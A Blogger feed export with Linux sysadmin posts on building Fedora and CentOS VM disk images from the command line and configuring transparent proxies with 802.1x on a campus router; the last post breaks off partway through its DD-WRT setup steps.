<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5205501213934844228</id><updated>2026-06-27T23:49:17.621-07:00</updated><title type='text'>Nehal J. Wani&#39;s Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>23</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3677848741925266413</id><published>2015-04-04T15:37:00.001-07:00</published><updated>2015-04-04T15:37:23.098-07:00</updated><title type='text'>Prepare a Custom Fedora VM from Commandline (No Installation) (Boot Virtual Disk with Grub)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

So, today I wanted to create a Fedora VM, prepared beforehand, without any ISO, redistributable.
&lt;br /&gt;

So, here is how I was able to achieve this:
&lt;br /&gt;

This method was tested on a host machine running CentOS 6.6 as well as a host machine running Fedora 21.
&lt;br /&gt;
First, create the virtual disk. 
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ truncate -s 10G fedora21.img
&lt;/pre&gt;
Yeah, I know, one can use &quot;qemu-img create -f raw fedora21.img 10G&quot; too.
&lt;br /&gt;
Find a free loop device and map the image to it automatically:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ kpartx -va fedora21.img
&lt;/pre&gt;
Find out which loopback interface was our image mapped to:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ losetup -a
/dev/loop0: [0802]:393335 (fedora21.img)
&lt;/pre&gt;
Write a DOS partition table:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ fdisk /dev/loop0 
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0xf6e951e8.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won&#39;t be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

WARNING: DOS-compatible mode is deprecated. It&#39;s strongly recommended to
         switch off the mode (command &#39;c&#39;) and change display units to
         sectors (command &#39;u&#39;).

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 22: Invalid argument.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
&lt;/pre&gt;
Let us create a partition and mark it bootable:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ fdisk /dev/loop0 

WARNING: DOS-compatible mode is deprecated. It&#39;s strongly recommended to
         switch off the mode (command &#39;c&#39;) and change display units to
         sectors (command &#39;u&#39;).

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1305, default 1): 
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-1305, default 1305): 
Using default value 1305

Command (m for help): a
Partition number (1-4): 1

Command (m for help): p

Disk /dev/loop0: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xf6e951e8

      Device Boot      Start         End      Blocks   Id  System
/dev/loop0p1   *           1        1305    10482381   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 22: Invalid argument.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
&lt;/pre&gt;
Run kpartx again, to map the newly created partition as another loop device
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ kpartx -va fedora21.img
add map loop0p1 (253:0): 0 20964762 linear /dev/loop0 63
&lt;/pre&gt;
Format the newly created partition to ext4 filesystem.
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ mkfs.ext4 /dev/mapper/loop0p1
mke2fs 1.41.12 (17-May-2010)
Discarding device blocks: done                            
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
655360 inodes, 2620595 blocks
131029 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=2684354560
80 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks: 
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Writing inode tables: done                            
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 36 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
&lt;/pre&gt;
Mount the new partition to /mnt/fedora21/
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ mkdir -p /mnt/fedora21/; mount /dev/mapper/loop0p1 /mnt/fedora21/
&lt;/pre&gt;

Install mock (a simple program that helps in building source RPMs inside a chroot)
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ yum install -y mock
&lt;/pre&gt;
Initialize a directory structure for mock fedora21
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ sudo mock --init -v -r fedora-21-x86_64 --install grubby kernel grub2 passwd
/t/fedora21 ❯❯❯ #For configuring stuff, edit the file /etc/mock/fedora-21-x86_64.cfg or create a copy of it and play with it.
&lt;/pre&gt;
Copy all mock files to your disk image:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ cp -r /var/lib/mock/fedora-21-x86_64/root/* /mnt/fedora21/
&lt;/pre&gt;
Note the UUID of the new partition
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ blkid /dev/mapper/loop0p1
/dev/mapper/loop0p1: UUID=&quot;9d4d0fec-3cdc-4d72-9f46-3aca30d981c5&quot; TYPE=&quot;ext4&quot;
&lt;/pre&gt;
Setup /etc/fstab
&lt;pre class=&quot;prettyprint&quot;&gt;
/t/fedora21 ❯❯❯ tee /mnt/fedora21/etc/fstab &amp;lt;&amp;lt;EOF
UUID=&quot;9d4d0fec-3cdc-4d72-9f46-3aca30d981c5&quot; TYPE=&quot;ext4&quot; /                       ext4    defaults        1 1
EOF
&lt;/pre&gt;
Mount and bind some important directories
&lt;pre class=&quot;prettyprint&quot;&gt;
for i in /dev /dev/pts /proc /sys; do mount -B $i /mnt/fedora21/$i ; done
&lt;/pre&gt;
Create a configuration file for grub
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ chroot /mnt/fedora21 /bin/bash -c &quot;grub2-mkconfig -o /boot/grub2/grub.cfg&quot;
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-3.19.3-200.fc21.x86_64
Found initrd image: /boot/initramfs-3.19.3-200.fc21.x86_64.img
done
&lt;/pre&gt;
Install grub (assuming legacy system)
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ chroot /mnt/fedora21 /bin/bash -c &quot;grub2-install /dev/loop0 --target=i386-pc&quot;
Installing for i386-pc platform.
Installation finished. No error reported.
&lt;/pre&gt;
If you were running this on a system which was booted in UEFI mode, then replace efi stuff inside the grub configuration, since it is not relevant.
&lt;pre class=&quot;prettyprint&quot;&gt;
/t/fedora21 ❯❯❯ chroot /mnt/fedora21 /bin/bash -c &quot;sed -i &#39;s/initrdefi/initrd/g&#39; /boot/grub2/grub.cfg&quot;
/t/fedora21 ❯❯❯ chroot /mnt/fedora21 /bin/bash -c &quot;sed -i &#39;s/linuxefi/linux/g&#39; /boot/grub2/grub.cfg&quot;
&lt;/pre&gt;
Setup root password
&lt;pre class=&quot;prettyprint&quot;&gt;
/t/fedora21 ❯❯❯ chroot /mnt/fedora21 /bin/bash -c &quot;passwd&quot;
Changing password for user root.
New password: 
BAD PASSWORD: The password is a palindrome
Retype new password: 
passwd: all authentication tokens updated successfully.
&lt;/pre&gt;
Unmount the partition
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ for i in /dev/pts /dev /proc /sys; do umount /mnt/fedora21/$i ; done; umount /mnt/fedora21/
&lt;/pre&gt;
Delete device mapping
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ kpartx -vd fedora21.img
del devmap : loop0p1
loop deleted : /dev/loop0
&lt;/pre&gt;
Lets test this!

Mr. Qemu, hit it!
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ /usr/libexec/qemu-kvm fedora216.img 
VNC server running on `::1:5900&#39;
&lt;/pre&gt;
And... we have what we want:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/fedora21 ❯❯❯ vncviewer :5900

TigerVNC Viewer for X version 1.1.0 - built Oct 30 2014 12:44:50
Copyright (C) 1999-2011 TigerVNC Team and many others (see README.txt)
See http://www.tigervnc.org for information on TigerVNC.
&lt;/pre&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Screenshot%20from%202015-04-05%20033509_zpsqbcjafrc.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Screenshot%20from%202015-04-05%20033509_zpsqbcjafrc.png&quot; /&gt;&lt;/a&gt;

&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3677848741925266413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3677848741925266413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3677848741925266413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3677848741925266413'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2015/04/prepare-custom-fedora-vm-from.html' title='Prepare a Custom Fedora VM from Commandline (No Installation) (Boot Virtual Disk with Grub)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3742302285082542462</id><published>2015-04-02T15:33:00.000-07:00</published><updated>2015-04-04T15:18:11.837-07:00</updated><title type='text'>Prepare a Custom CentOS VM from Commandline (Boot Virtual Disk with Extlinux)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

So, today I wanted to create a CentOS VM, prepared beforehand, without any ISO, redistributable.
&lt;br /&gt;

As you all know, it is a great PITA, when it comes to grub v0.97 and CentOS &amp;lt; 7. So I let go of grub and embraced extlinux.
&lt;br /&gt;

So, here is how I was able to achieve this:
&lt;br /&gt;

This method was tested on a host machine running CentOS 6.6
&lt;br /&gt;
First, create the virtual disk. 
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ truncate -s 10G centos6.img
&lt;/pre&gt;
Yeah, I know, one can use &quot;qemu-img create -f raw centos6.img 10G&quot; too.
&lt;br /&gt;
Find a free loop device and map the image to it automatically:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ kpartx -va centos6.img
&lt;/pre&gt;
Find out which loopback interface was our image mapped to:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ losetup -a
/dev/loop0: [0802]:402326 (centos6.img)
&lt;/pre&gt;
Write a DOS partition table:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ fdisk /dev/loop0 
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0x9958dbf2.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won&#39;t be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

WARNING: DOS-compatible mode is deprecated. It&#39;s strongly recommended to
         switch off the mode (command &#39;c&#39;) and change display units to
         sectors (command &#39;u&#39;).

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 22: Invalid argument.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
&lt;/pre&gt;
Let us create a partition and mark it bootable:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ fdisk /dev/loop0 

WARNING: DOS-compatible mode is deprecated. It&#39;s strongly recommended to
         switch off the mode (command &#39;c&#39;) and change display units to
         sectors (command &#39;u&#39;).

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1305, default 1): 
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-1305, default 1305): 
Using default value 1305

Command (m for help): p

Disk /dev/loop0: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x402195a6

      Device Boot      Start         End      Blocks   Id  System
/dev/loop0p1               1        1305    10482381   83  Linux

Command (m for help): a
Partition number (1-4): 1

Command (m for help): p

Disk /dev/loop0: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x402195a6

      Device Boot      Start         End      Blocks   Id  System
/dev/loop0p1   *           1        1305    10482381   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 22: Invalid argument.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
[root@ibm2 wani]/t/centos ❯❯❯ fdisk /dev/loop0 -l

Disk /dev/loop0: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x402195a6

      Device Boot      Start         End      Blocks   Id  System
/dev/loop0p1   *           1        1305    10482381   83  Linux
&lt;/pre&gt;
Verify that a new, bootable partition has been created:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;]/t/centos ❯❯❯ fdisk /dev/loop0 -l

Disk /dev/loop0: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x402195a6

      Device Boot      Start         End      Blocks   Id  System
/dev/loop0p1   *           1        1305    10482381   83  Linux
&lt;/pre&gt;
Run kpartx again, to map the newly created partition as another loop device
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ kpartx -va centos6.img 
add map loop0p1 (253:0): 0 20964762 linear /dev/loop0 63
&lt;/pre&gt;
Format the newly created partition to ext4 filesystem.
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ mkfs.ext4 /dev/mapper/loop0p1
mke2fs 1.41.12 (17-May-2010)
Discarding device blocks: done                            
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
655360 inodes, 2620595 blocks
131029 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=2684354560
80 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks: 
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Writing inode tables: done                            
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 30 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
&lt;/pre&gt;
Mount the new partition to /mnt/mycentos6/
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ mkdir -p /mnt/mycentos6/; mount /dev/mapper/loop0p1 /mnt/mycentos6/
&lt;/pre&gt;

Install syslinux-extlinux (bootloader) and mock (a simple program that helps in building source RPMs inside a chroot)
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ yum install -y mock syslinux-extlinux
&lt;/pre&gt;
Initialize a directory structure for epel6 family.
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ sudo mock --init -v -r epel-6-x86_64
/t/centos ❯❯❯ #For configuring stuff, edit the file /etc/mock/epel-6-x86_64.cfg or create a copy of it and play with it.
&lt;/pre&gt;
Copy all mock files to your disk image:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ cp -r /var/lib/mock/epel-6-x86_64/root/* /mnt/mycentos6/
&lt;/pre&gt;
Create a directory for syslinux.
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ mkdir /mnt/mycentos6/boot/syslinux; 
&lt;/pre&gt;
Note the UUID of the new partition
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ blkid /dev/mapper/loop0p1
/dev/mapper/loop0p1: UUID=&quot;02afc1b5-66b4-4931-9411-6123a6d1f152&quot; TYPE=&quot;ext4&quot;
&lt;/pre&gt;

Setup /etc/fstab
&lt;pre class=&quot;prettyprint&quot;&gt;
/t/centos ❯❯❯ tee /mnt/mycentos6/etc/fstab &amp;lt;&amp;lt;EOF
UUID=02afc1b5-66b4-4931-9411-6123a6d1f152 /                       ext4    defaults        1 1
EOF
&lt;/pre&gt;

Create a configuration file for extlinux
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ tee /mnt/mycentos6/boot/syslinux/extlinux.conf &amp;lt;&amp;lt;EOF
default vesamenu.c32
timeout 600

display boot.msg

menu background splash.jpg
menu title Welcome to CentOS 6.6!
menu color border 0 #ffffffff #00000000
menu color sel 7 #ffffffff #ff000000
menu color title 0 #ffffffff #00000000
menu color tabmsg 0 #ffffffff #00000000
menu color unsel 0 #ffffffff #00000000
menu color hotsel 0 #ff000000 #ffffffff
menu color hotkey 7 #ffffffff #ff000000
menu color scrollbar 0 #ffffffff #00000000

label CentOS 6
  menu label CentOS 6
  menu default
  kernel /boot/vmlinuz-2.6.32-504.12.2.el6.x86_64 root=UUID=02afc1b5-66b4-4931-9411-6123a6d1f152
  append initrd=/boot/initramfs-2.6.32-504.12.2.el6.x86_64.img 
EOF
&lt;/pre&gt;
Copy files required for menu, etc
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ cp /usr/share/syslinux/vesamenu.c32 /mnt/mycentos6/boot/syslinux/
/t/centos ❯❯❯ cp /mnt/mycentos6/usr/lib/anaconda-runtime/syslinux-vesa-splash.jpg /mnt/mycentos6/boot/syslinux/splash.jpg
&lt;/pre&gt;
Install MBR code that boots from the partition marked as bootable. The syslinux family comes with such a MBR code, so we use it:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ dd if=/usr/share/syslinux/mbr.bin of=centos6.img conv=notrunc
&lt;/pre&gt;
Install extlinux
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ extlinux --install /mnt/mycentos6/boot/syslinux
/mnt/mycentos6/boot/syslinux is device /dev/mapper/loop0p1
&lt;/pre&gt;
Unmount the partition
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ umount /mnt/mycentos6/
&lt;/pre&gt;
Delete device mapping
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ kpartx -vd centos6.img
del devmap : loop0p1
loop deleted : /dev/loop0
&lt;/pre&gt;
Lets test this!

Mr. Qemu, hit it!
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ /usr/libexec/qemu-kvm centos6.img 
VNC server running on `::1:5900&#39;
&lt;/pre&gt;
And... we have what we want:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/t/centos ❯❯❯ vncviewer :5900

TigerVNC Viewer for X version 1.1.0 - built Oct 30 2014 12:44:50
Copyright (C) 1999-2011 TigerVNC Team and many others (see README.txt)
See http://www.tigervnc.org for information on TigerVNC.
&lt;/pre&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Screenshot%20from%202015-04-03%20035057_zpswhig9oou.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Screenshot%20from%202015-04-03%20035057_zpswhig9oou.png&quot; /&gt;&lt;/a&gt;

&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3742302285082542462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3742302285082542462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3742302285082542462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3742302285082542462'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2015/04/prepare-custom-centos-vm-from.html' title='Prepare a Custom CentOS VM from Commandline (Boot Virtual Disk with Extlinux)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-5870683903607221570</id><published>2015-03-29T04:29:00.000-07:00</published><updated>2015-03-29T04:29:43.587-07:00</updated><title type='text'>Configuring transparent HTTP Proxy, transparent HTTPS proxy and 802.1x authentication on a Wireless Router</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

In my college, there is a squid proxy server (10.4.8.204) running on 8080. The firewall on the default gateway drops any packets that are either not coming from proxy, or are not ICMP. Now a days, students use a lot of wireless devices, and many of the famous apps like skype on apple devices, don&#39;t honour system proxy settings. So, obviously, students are angry that they can&#39;t use their devices to talk to their loved ones, can&#39;t play Quizup, can&#39;t &#39;whatsapp&#39; any person, blah, blah. So, I thought why not we put up a transparent proxy for HTTP as well as HTTPS on the wireless router itself, and forget about proxy settings? Transparent HTTP Proxy is easy to find, but such a thing for HTTPS has security issues and what not. &lt;a href=&quot;https://github.com/phinfinity&quot;&gt;One of my seniors&lt;/a&gt;, wrote such a &lt;a href=&quot;https://github.com/phinfinity/router_tproxy&quot;&gt;software&lt;/a&gt; and was happy to share it with the world. I tested this method on one of the TP Link routers, and guess what? It worked! Yay!
&lt;br /&gt;
&lt;br /&gt;
A little while later, college authorities enabled 802.1x authentication mechanism. Now the routers cried, as by default, they don&#39;t provide any mechanism to authenticate themselves on the WAN port over 802.1x protocol. So, an extra layer of authentication using wpa_supplicant had to be added.
&lt;br /&gt;
&lt;br /&gt;
This blog post lists the entire setup done in order to deploy transparent proxies, and authenticate user over 8021.x. In short, as soon as the router is switched on, it keeps sending DHCPDISCOVER packets. The switch understands that it is not interested in 802.1x protocol and throws it into a Guest VLAN. Now, in the Guest VLAN, the router can connect to only one machine in the entire campus, which is basically configured as a tftp server for booting/installing operating systems over network. So, I hosted the required files on this server (10.1.34.345). The router downloads the binary for wpa_supplicant compiled specifically for it&#39;s ISA and runs it with the proper configuration, just after restarting the wan service, so that it can ask for a new lease from the DHCP. Now, since it is authenticated, the VLAN is different and the DHCP gives a different IP address. After this, the router downloads pre-compiled binary and configuration files of transparent http and https proxies and runs them in background. PREROUTING rules are configured so that all packets destined for 80 and 443 are redirected to these proxies. Since the code is very new and sometimes segfaults, both the proxies are run in an infinite loop, so that user doesn&#39;t have to switch on/off the router again and again.
&lt;br /&gt;
&lt;br /&gt;
This method has been tested on&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;TP-Link WR740N v4.27&lt;/li&gt;
&lt;li&gt;D-Link DIR-600&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Content taken from: &lt;a href=&quot;https://phinfinity.com/2012/09/20/setting-up-a-transparent-pass-through-proxy-with-iptables/&quot;&gt;Transparent HTTP Proxy&lt;/a&gt; and &lt;a href=&quot;https://phinfinity.com/2014/04/01/transparent-pass-through-proxy-with-iptables-part-2-for-https/&quot;&gt;Transparent HTTPS Proxy&lt;/a&gt;

Github Repo: &lt;a href=&quot;https://github.com/phinfinity/router_tproxy&quot;&gt;router_tproxy&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Step 1: Visit &lt;a href=&quot;https://secure.dd-wrt.com/site/support/router-database&quot;&gt;DD-WRT Downloads page&lt;/a&gt; and enter WR740N. Since my device version is 4.27, I should click on 4.x then download factory-to-ddwrt.bin &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdY2pVbTJFSnVEOVk/edit?usp=sharing&quot;&gt;Mirror&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Step 2: Perform a &lt;a href=&quot;http://www.dd-wrt.com/wiki/index.php/Hard_reset_or_30/30/30&quot;&gt;30-30-30 Hard Reset&lt;/a&gt; on your router.&lt;br /&gt;
&lt;br /&gt;
Step 3: Visit &lt;a href=&quot;http://192.168.0.1/&quot;&gt;192.168.0.1&lt;/a&gt; in your browser after connecting your device with the router. The IP address may be different, depending upon your router.&lt;br /&gt;
&lt;br /&gt;
Step 4: Upload the downloaded file to: System Tools -&amp;gt; Firmware Upgrade and click Upgrade&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP1_zpssgferijl.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP1_zpssgferijl.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Step 5: After the router restarts, visit &lt;a href=&quot;http://192.168.1.1/&quot;&gt;192.168.1.1&lt;/a&gt; in your browser after connecting to the open wifi with ssid dd-wrt&lt;br /&gt;
&lt;br /&gt;
Step 6: Update the username and password.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP2_zpsnd1hc0ec.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP2_zpsnd1hc0ec.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
Step 7: Click on the tab: Services and then click on Enable besides Telnet&lt;br /&gt;
&lt;br /&gt;
